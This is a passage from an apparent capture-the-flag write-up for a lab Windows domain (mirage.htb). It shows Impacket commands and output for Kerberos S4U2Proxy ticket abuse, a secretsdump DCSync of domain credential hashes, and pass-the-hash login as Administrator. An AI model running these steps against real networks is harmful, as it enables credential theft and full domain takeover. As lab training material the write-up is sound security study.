/home/kali/.local/bin/getST.py:607: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow()
/home/kali/.local/bin/getST.py:659: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2Proxy
[*] Saving ticket in dc01$@HOST_dc01.mirage.htb@MIRAGE.HTB.ccache
And let’s secrets dump
1
2
3
4
5
6
7
8
9
10
secretsdump.py -k -no-pass $DOMAIN/"dc01$"@$DC
/home/kali/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is
slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
mirage.htb\Administrator:500:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
<SIP>
We can authenticate as Administrator via Kerberos
1
2
3
nxc smb $DC -u $USER -H $HASH -k
SMB DC01.mirage.htb 445 DC01 [*] x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB DC01.mirage.htb 445 DC01 [+] mirage.htb\Administrator:[REDACTED] (Pwn3d!)
Just like that, we have Root!
tags: diff/hard - os/windows